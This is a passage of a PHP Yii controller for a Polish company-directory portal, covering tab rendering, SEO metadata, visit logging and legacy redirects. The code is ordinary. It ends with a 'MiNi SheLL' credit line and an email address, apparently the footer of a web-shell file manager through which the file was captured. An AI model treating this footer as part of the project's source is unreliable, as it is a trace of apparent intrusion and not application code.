                    'product_order' => SORT_ASC
                ],
            ]
        ]);        

        $seoProductsCategories = \common\models\ProductsHasProductsCategories::find()
                            ->select(['products_categories.name'])
                            ->join('INNER JOIN', 'products', 'products.id_product = products_has_products_categories.id_product')
                            ->join('INNER JOIN', 'companies_presentations_has_products', 'companies_presentations_has_products.id_product = products.id_product')
                            ->join('INNER JOIN', 'products_categories', 'products_categories.id_category = products_has_products_categories.id_category')
                            ->where([
                                'companies_presentations_has_products.id_presentation' => $model->id_presentation,
                                'products.status' => \common\models\types\Status::ACTIVE,
                                'products.id_company' => $model->id_company
                            ])
                            ->distinct()
                            ->column();        
        if(count($seoProductsCategories) > 3) {
            $randomKeys = array_rand($seoProductsCategories, 3);
            $seoProductsCategories = [$seoProductsCategories[$randomKeys[0]], $seoProductsCategories[$randomKeys[1]], $seoProductsCategories[$randomKeys[2]]];
        } 
        $seoPresentationCategories = $this->getRandomPresentationCategories($model, 3);
        $this->setSeoMetadata('company_card_products_and_services', [
             'title' => [strip_tags($model->company->name).', '.strip_tags($model->company->locality).', '. implode(", ", $seoPresentationCategories), Yii::$app->params['modelPortal']->domain], //'{nazwa firmy, miasto, 3 wybrane branze}','{domena}'
             'keywords' => [strip_tags($model->company->name).', '. implode(", ", $seoPresentationCategories)], //'{nazwa firmy, 3 wybrane branze}'
             'description' => [implode(", ", $seoProductsCategories), Yii::$app->params['modelPortal']->domain] //'{wybrane kategorie produktów}','{domena}'
        ]);
        
        $this->includeMetaTags($model);
        
        $this->createVisitEntry($model, \common\models\PresentationsTabs::TAB_PRODUCTS_AND_SERVICES);
        
        return $this->render('products_and_services', [
            'model' => $model,
            'dataProvider' => $dataProvider
        ]);
    }
    
    public function actionReferencjeINagrody($id, $slug = null)
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl($id, 'referencje-i-nagrody');
        if(!empty($response)) {
            return $response;
        }
        //---------------------------
        
        $model = $this->findModelPresentation($id);
        
        //sprawdzanie aktywności
        $this->checkIfCompanyTabIsActive($model, \common\models\PresentationsTabs::TAB_REFERENCES_AND_AWARDS);
        
        $seoCategories = $this->getRandomPresentationCategories($model, 3);         
        $this->setSeoMetadata('company_card_references_and_awards', [
            'title' => [strip_tags($model->company->name).', '.strip_tags($model->company->locality).', '.implode(", ", $seoCategories), Yii::$app->params['modelPortal']->domain], //'{nazwa firmy, miasto, 3 wybrane branze}','{domena}'
            'keywords' => [strip_tags($model->company->name).', '. implode(", ", $seoCategories)], //'{nazwa firmy, 3 wybrane branze}'
            'description' => [strip_tags($model->company->name), Yii::$app->params['modelPortal']->domain] //'{nazwa firmy}','{domena}'
        ]);
        
        $this->includeMetaTags($model);
        
        $this->createVisitEntry($model, \common\models\PresentationsTabs::TAB_REFERENCES_AND_AWARDS);
        
        return $this->render('references_and_awards', [
            'model' => $model
        ]);
    }
    
    public function actionPublikacje($id, $slug = null)
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl($id, 'publikacje');
        if(!empty($response)) {
            return $response;
        }
        //---------------------------
        
        $model = $this->findModelPresentation($id);
        
        //sprawdzanie aktywności
        $this->checkIfCompanyTabIsActive($model, \common\models\PresentationsTabs::TAB_PUBLICATIONS);

        $seoCategories = $this->getRandomPresentationCategories($model, 3);
        $this->setSeoMetadata('company_card_publications', [
            'title' => [strip_tags($model->company->name).', '.strip_tags($model->company->locality).', '.implode(", ", $seoCategories), Yii::$app->params['modelPortal']->domain], //'{nazwa firmy, miasto, 3 wybrane branze}','{domena}'
            'keywords' => [strip_tags($model->company->name).', '. implode(", ", $seoCategories)], //'{nazwa firmy, 3 wybrane branze}'
            'description' => [strip_tags($model->company->name), Yii::$app->params['modelPortal']->domain] //'{nazwa firmy}','{domena}'
        ]);
        
        $this->includeMetaTags($model);
        
        $this->createVisitEntry($model, \common\models\PresentationsTabs::TAB_PUBLICATIONS);
        
        return $this->render('publications', [
            'model' => $model
        ]);
    }
    
    public function actionSzkolenia($id, $slug = null)
    {        
        $model = $this->findModelPresentation($id);

        //sprawdzanie aktywności
        $this->checkIfCompanyTabIsActive($model, \common\models\PresentationsTabs::TAB_TRAININGS);
        
        $seoCategories = $this->getRandomPresentationCategories($model, 3);
        $this->setSeoMetadata('company_card_publications', [
            'title' => [strip_tags($model->company->name).', '.strip_tags($model->company->locality).', '.implode(", ", $seoCategories), Yii::$app->params['modelPortal']->domain], //'{nazwa firmy, miasto, 3 wybrane branze}','{domena}'
            'keywords' => [strip_tags($model->company->name).', '. implode(", ", $seoCategories)], //'{nazwa firmy, 3 wybrane branze}'
            'description' => [strip_tags($model->company->name), Yii::$app->params['modelPortal']->domain] //'{nazwa firmy}','{domena}'
        ]);
        
        $this->includeMetaTags($model);
        
        $this->createVisitEntry($model, \common\models\PresentationsTabs::TAB_TRAININGS);
        
        return $this->render('trainings', [
            'model' => $model
        ]);
    }
    
    public function actionDoPobrania($id, $slug = null)
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl($id, 'do-pobrania');
        if(!empty($response)) {
            return $response;
        }
        //---------------------------
        
        $model = $this->findModelPresentation($id);
        
        //sprawdzanie aktywności
        $this->checkIfCompanyTabIsActive($model, \common\models\PresentationsTabs::TAB_DOWNLOAD);
        
        $seoCategories = $this->getRandomPresentationCategories($model, 3);
        $this->setSeoMetadata('company_card_downloads', [
            'title' => [strip_tags($model->company->name).', '.strip_tags($model->company->locality).', '.implode(", ", $seoCategories), Yii::$app->params['modelPortal']->domain], //'{nazwa firmy, miasto, 3 wybrane branze}','{domena}'
            'keywords' => [strip_tags($model->company->name).', '. implode(", ", $seoCategories)], //'{nazwa firmy, 3 wybrane branze}'
            'description' => [strip_tags($model->company->name), Yii::$app->params['modelPortal']->domain] //'{nazwa firmy}','{domena}'
        ]);        
         
        $this->includeMetaTags($model);
        
        $this->createVisitEntry($model, \common\models\PresentationsTabs::TAB_DOWNLOAD);
        
        return $this->render('downloads', [
            'model' => $model
        ]);
    }
    
    public function actionGalerie($id, $slug = null)
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl($id, 'galerie');
        if(!empty($response)) {
            return $response;
        }
        //---------------------------
        
        $model = $this->findModelPresentation($id);
        
        //sprawdzanie aktywności
        $this->checkIfCompanyTabIsActive($model, \common\models\PresentationsTabs::TAB_PHOTO_GALLERIES);
         
        $seoCategories = $this->getRandomPresentationCategories($model, 3);
        $this->setSeoMetadata('company_card_galleries', [
            'title' => [strip_tags($model->company->name).', '.strip_tags($model->company->locality).', '.implode(", ", $seoCategories), Yii::$app->params['modelPortal']->domain], //'{nazwa firmy, miasto, 3 wybrane branze}','{domena}'
            'keywords' => [strip_tags($model->company->name).', '. implode(", ", $seoCategories)], //'{nazwa firmy, 3 wybrane branze}'
            'description' => [strip_tags($model->company->name), Yii::$app->params['modelPortal']->domain] //'{nazwa firmy}','{domena}'
        ]); 
        
        $this->includeMetaTags($model);
        
        $this->createVisitEntry($model, \common\models\PresentationsTabs::TAB_PHOTO_GALLERIES);
        
        return $this->render('photogalleries', [
            'model' => $model
        ]);
    }
    
    public function actionVideo($id, $slug = null)
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl($id, 'video');
        if(!empty($response)) {
            return $response;
        }
        //---------------------------
        
        $model = $this->findModelPresentation($id);
        
        //sprawdzanie aktywności
        $this->checkIfCompanyTabIsActive($model, \common\models\PresentationsTabs::TAB_VIDEO_GALLERIES);

        $seoCategories = $this->getRandomPresentationCategories($model, 3);
        $this->setSeoMetadata('company_card_video', [
             'title' => [strip_tags($model->company->name).', '.strip_tags($model->company->locality).', '. implode(", ", $seoCategories), Yii::$app->params['modelPortal']->domain], //'{nazwa firmy, miasto, 3 wybrane branze}','{domena}'
             'keywords' => [strip_tags($model->company->name).', '. implode(", ", $seoCategories)], //'{nazwa firmy, 3 wybrane branze}'
             'description' => [strip_tags($model->company->name), Yii::$app->params['modelPortal']->domain] //'{nazwa firmy}','{domena}'
        ]); 
        
        $this->includeMetaTags($model);
         
        $this->createVisitEntry($model, \common\models\PresentationsTabs::TAB_VIDEO_GALLERIES);
        
        return $this->render('videogalleries', [
            'model' => $model
        ]);
    }
    
    public function actionPokazDaneKontaktowe()
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        
        if(!Yii::$app->request->isAjax || !Yii::$app->request->getIsPost()) {
            return $this->redirect(['index/index']);
        }
        
        $idContactData = (int)Yii::$app->request->post('id');
        if(empty($idContactData)) {
            return false;
        }
        
        $model = \common\models\CompaniesContactData::find()
                ->join('INNER JOIN', 'companies', 'companies.id_company = companies_contact_data.id_company')
                ->join('INNER JOIN', 'companies_presentations', 'companies_presentations.id_company = companies_contact_data.id_company')
                ->where([
                    'companies_contact_data.id_contact_data' => $idContactData,
                    'companies.status' => Status::ACTIVE,
                    'companies_presentations.status' => Status::ACTIVE,
                    'companies_presentations.id_portal' => $modelPortal->id_portal
                ])
                ->one();
        if(empty($model)) {
            return false;
        }
        
        //zaliczamy kliknięcie do logów
        $ip = \common\components\helpers\IpGetter::get();

        $modelCompanyContactDataView = new \common\models\CompaniesContactDataViews();
        $modelCompanyContactDataView->id_company = $model->id_company;
        $modelCompanyContactDataView->data_type = $model->data_type;
        $modelCompanyContactDataView->data_value = $model->data_value;
        $modelCompanyContactDataView->id_portal = $modelPortal->id_portal;
        $modelCompanyContactDataView->ip = $ip;

        $flag = $modelCompanyContactDataView->save();

        return $flag;
    }
    
    protected function getRandomPresentationCategories($modelPresentation, $number = 3)
    {
        $outputCategories = [];
        if(count($modelPresentation->categories) > $number) {
            $randomKeys = array_rand($modelPresentation->categories, $number);
            for($i = 0; $i < $number; $i++) {
                $outputCategories[] = $modelPresentation->categories[$randomKeys[$i]]->name;
            }
        } else {
            foreach($modelPresentation->categories as $modelCategory) {
                $outputCategories[] = $modelCategory->name;
            }
        }
        
        return $outputCategories; 
    }
    
    protected function findModelPresentation($id)
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $idCompany = CompaniesPresentations::find()
                ->select(['id_company'])
                ->where([
                    'id_presentation' => $id, 
                    'id_portal' => $modelPortal->id_portal,
                    'status' => Status::ACTIVE,
                ])
                ->scalar();
        if(!$idCompany) {
            throw new NotFoundHttpException('Not found selected company presentation.');
        }
        
        $db = \Yii::$app->db;
        $dependency = new \yii\caching\TagDependency(['tags' => ['company_'.$idCompany, 'presentation_'.$id, 'presentation_'.$id.'_contact_data', 'company_'.$idCompany.'_tabs', 'presentation_'.$id.'_industries_and_range']]);
        $model = CompaniesPresentations::getDb()->cache(
            function($db) use ($id){
                return CompaniesPresentations::find()
                    ->with([
                        'companiesTabs' => function($q) {
                            $q->andWhere(['or', ['status' => Status::ACTIVE], ['id_tab' => \common\models\PresentationsTabs::TAB_ABOUT_COMPANY]]);
//                            $q->where(['status' => Status::ACTIVE]);
                            $q->indexBy('id_tab');
                            $q->orderBy('tab_order');
                        },
                        'categories'
                    ])
                    ->joinWith('company')
                    ->where([
                        'companies.status' => Status::ACTIVE,
                        'companies_presentations.id_presentation' => $id
                    ])
                    ->one();
            }, 
            300,
            $dependency
        );
            
        if($model === null) {
            throw new NotFoundHttpException('Not found selected company presentation.');
        }
            
        return $model;
    }
    
    protected function checkIfCompanyTabIsActive($modelPresentation, $idTab)
    {
        $orExists = !empty($modelPresentation->companiesTabs[$idTab]) && $modelPresentation->companiesTabs[$idTab]->status === Status::ACTIVE;
        if(!$orExists) {
            throw new NotFoundHttpException('Not found selected company presentation.');                
        }
    }
    
    protected function includeMetaTags($modelPresentation, $companyDescription = null)
    {        
        if(empty($companyDescription)) {
            $companyDescription = !empty($modelPresentation->companiesTabs[\common\models\PresentationsTabs::TAB_ABOUT_COMPANY]) ? $modelPresentation->companiesTabs[\common\models\PresentationsTabs::TAB_ABOUT_COMPANY]->getPage()->select('lead')->scalar() : '';
        }
        
        $this->view->registerMetaTag(['property' => 'og:site_name', 'content' => Yii::$app->params['modelPortal']->domain]);
        $this->view->registerMetaTag(['property' => 'og:type', 'content' => 'website']);
        $this->view->registerMetaTag(['property' => 'og:title', 'content' => \yii\helpers\Html::encode(strip_tags($modelPresentation->company->name), false)]);
        $this->view->registerMetaTag(['property' => 'og:description', 'content' => \yii\helpers\Html::encode(strip_tags($companyDescription), false)]);
        $this->view->registerMetaTag(['property' => 'og:url', 'content' => \yii\helpers\Url::to(['firmy/dane-kontaktowe', 'id' => $modelPresentation->id_presentation, 'slug' => \frontend\components\helpers\SlugGenerator::generate($modelPresentation->company->name)], true)]);
        
        if(!empty($modelPresentation->company->logo_filename)) {
            list($imgWidth, $imgHeight) = getimagesize(\common\models\Companies::getLogoUrlForCompany($modelPresentation->company->logo_filename, $modelPresentation->company->id_company));
            $this->view->registerMetaTag(['property' => 'og:image', 'content' => \common\models\Companies::getLogoUrlForCompany($modelPresentation->company->logo_filename, $modelPresentation->company->id_company, true)]);
            $this->view->registerMetaTag(['property' => 'og:image:width', 'content' => $imgWidth]);
            $this->view->registerMetaTag(['property' => 'og:image:height', 'content' => $imgHeight]);
        }
    }
    
    protected function getRedirectFromOldUrl($idCompany, $actionName)
    {
        //@backward_compatibility
        //---------------------------     
        if(!Yii::$app->request->get('old')) {
            return null;
        }
         
        $newIdCompany = (int)(new \yii\mongodb\Query())->from('import_companies')->select(['target_id'])->where(['source_id' => (string)$idCompany, 'status' => 'OK'])->scalar();
        if(!$newIdCompany) {
            throw new NotFoundHttpException('Not found selected company presentation.');
        }

        $newId = CompaniesPresentations::find()
                ->select(['id_presentation'])
                ->where([
                    'id_company' => $newIdCompany, 
                    'id_portal' => Yii::$app->params['modelPortal']->id_portal,
                    'status' => Status::ACTIVE,
                ])
                ->scalar();

        if(!empty($newId)) {
            return $this->redirect(['firmy/'.$actionName, 'id' => $newId], 301);
        } else {
            throw new NotFoundHttpException('Not found selected company presentation.');
        }
        //---------------------------
    }
    
    public function actionGaleria($id)
    {        
        $idPresentation = Yii::$app->request->get('id_presentation');
        if(!$idPresentation) {
            throw new NotFoundHttpException('Not found selected company presentation.');
        }
        
        $modelPresentation = $this->findModelPresentation($idPresentation);
        if($modelPresentation === null) {
            throw new NotFoundHttpException('Not found selected company presentation.');
        }
        
        $model = CompaniesPhotogalleries::findOne($id);
        if($model === null || !$modelPresentation->getRelationsWithPhotogalleries()->where(['id_gallery' => $model->id_gallery])->exists()) {
            throw new NotFoundHttpException('Not found selected gallery.');
        }
              
        if(Yii::$app->request->getIsAjax()) {
            return $this->renderAjax('gallery', [
                'model' => $model,
                'modelPresentation' => $modelPresentation
            ]);
        }
        else {
            return $this->render('gallery', [
                'model' => $model,
                'modelPresentation' => $modelPresentation
            ]);
        }
    } 
}

Creat By MiNi SheLL
Email: jattceo@gmail.com